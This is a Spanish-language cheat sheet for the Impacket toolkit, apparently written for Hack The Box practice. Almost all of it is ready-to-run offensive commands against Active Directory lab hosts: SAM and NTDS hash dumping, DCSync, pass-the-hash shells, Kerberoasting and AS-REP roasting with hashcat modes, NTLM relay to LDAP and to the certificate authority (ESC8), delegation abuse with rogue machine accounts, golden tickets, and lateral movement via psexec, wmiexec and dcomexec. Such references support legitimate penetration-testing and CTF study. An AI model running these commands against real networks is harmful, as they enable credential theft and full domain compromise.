Impacket

Impacket implementa SMB, Kerberos, LDAP, MSRPC y MSSQL en Python, y sus ejemplos son el día a día de Active Directory desde Linux. En Kali se instalan como impacket-nombre (impacket-secretsdump); con pip, como nombre.py.

Plataforma
Linux (Python)
Web oficial
github.com/fortra/impacket
En HTB
35 máquinas
Instalación
pipx install impacket

Chuleta de Impacket

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.
34 comandos

Más ejemplos

Usuarios por SID con la cuenta de invitado
impacket-lookupsid [email protected] -no-pass
Hashes del dominio desde una copia de ntds.dit
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Conectarse a MSSQL con cuenta de Windows
impacket-mssqlclient box.htb/usuario:'Password123!'@10.10.11.20 -windows-auth
Usar un ticket de Kerberos (sin contraseña)
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass box.htb/[email protected]
Pasar un ticket de Rubeus (.kirbi) a Linux
impacket-ticketConverter ticket.kirbi ticket.ccache

En nuestras chuletas

Transferencia de archivos › Windows

Recurso SMB en tu máquina Atacante
impacket-smbserver share $(pwd) -smb2support
Si Windows bloquea el acceso de invitado Atacante
impacket-smbserver share $(pwd) -smb2support -username pwn -password pwn

Payloads de inyección SQL › MSSQL

Conectar Atacante
impacket-mssqlclient usuario:'Password123!'@10.10.11.20 -windows-auth

Escalada en Windows y Active Directory › Windows

Sacar los hashes de SAM Atacante
impacket-secretsdump -sam sam -system system LOCAL
Pass-the-hash con psexec Atacante
impacket-psexec [email protected] -hashes :HASH_NT

Escalada en Windows y Active Directory › Active Directory

AS-REP roasting
impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20 -format hashcat

Crackea con hashcat -m 18200.

Kerberoasting
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request

Crackea con hashcat -m 13100.

DCSync
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20 -just-dc-ntlm
Shell como administrador con el hash
impacket-wmiexec box.htb/[email protected] -hashes :HASH_NT

Active Directory a fondo › NTLM relay

Relay a SMB para volcar SAM Atacante
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
Relay a LDAP para delegación o shadow credentials Atacante
impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-da
Relay a la CA (ESC8) para un cert del equipo Atacante
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Active Directory a fondo › Delegación

Con Impacket Atacante
impacket-findDelegation box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
Pedir un ticket de servicio como administrador (S4U2proxy) Atacante
impacket-getST -spn cifs/dc01.box.htb -impersonate administrator -dc-ip 10.10.11.20 box.htb/usuario:'Password123!'
Crear una cuenta de máquina (si MachineAccountQuota > 0) Atacante
impacket-addcomputer box.htb/usuario:'Password123!' -computer-name EVIL$ -computer-pass 'Evil123!' -dc-ip 10.10.11.20
Escribir la delegación y pedir el ticket Atacante
impacket-rbcd box.htb/usuario:'Password123!' -delegate-to 'VICTIMA$' -delegate-from 'EVIL$' -action write -dc-ip 10.10.11.20
impacket-getST -spn cifs/victima.box.htb -impersonate administrator 'EVIL$:Evil123!' -dc-ip 10.10.11.20

Active Directory a fondo › Impacket

TGT (y exportarlo) Atacante
impacket-getTGT box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
export KRB5CCNAME=$PWD/usuario.ccache
Kerberoasting Atacante
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -outputfile kerberoast.txt

Crackéalo: hashcat -m 13100 kerberoast.txt rockyou.txt

AS-REP roasting Atacante
impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txt

hashcat -m 18200

psexec (SYSTEM) Atacante
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
wmiexec (más sigiloso) Atacante
impacket-wmiexec box.htb/usuario:'Password123!'@10.10.11.20
con pass-the-hash Atacante
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
SAM/LSA (admin local) Atacante
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20
DCSync Atacante
impacket-secretsdump box.htb/usuario:'Password123!'@dc01.box.htb -just-dc-user Administrator
Golden ticket (con el hash de krbtgt) Atacante
impacket-ticketer -nthash 64f12cddaa88057e06a81b54e73b949b -domain-sid S-1-5-21-XXXX -domain box.htb administrator

C2 y post-explotación › Movimiento lateral

impacket-psexec Atacante
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
PsExec de Sysinternals (desde Windows) Víctima
PsExec.exe -accepteula \\10.10.11.20 -u box.htb\\usuario -p 'Password123!' cmd
impacket-wmiexec Atacante
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
impacket-dcomexec (MMC20) Atacante
impacket-dcomexec -object MMC20 box.htb/usuario:'Password123!'@10.10.11.20

Máquinas de HTB donde se usa Impacket

Sacadas de los capítulos de los vídeos de IppSec en los que aparece Impacket. El enlace ▶ salta al minuto de esa parte.

Guías que usan Impacket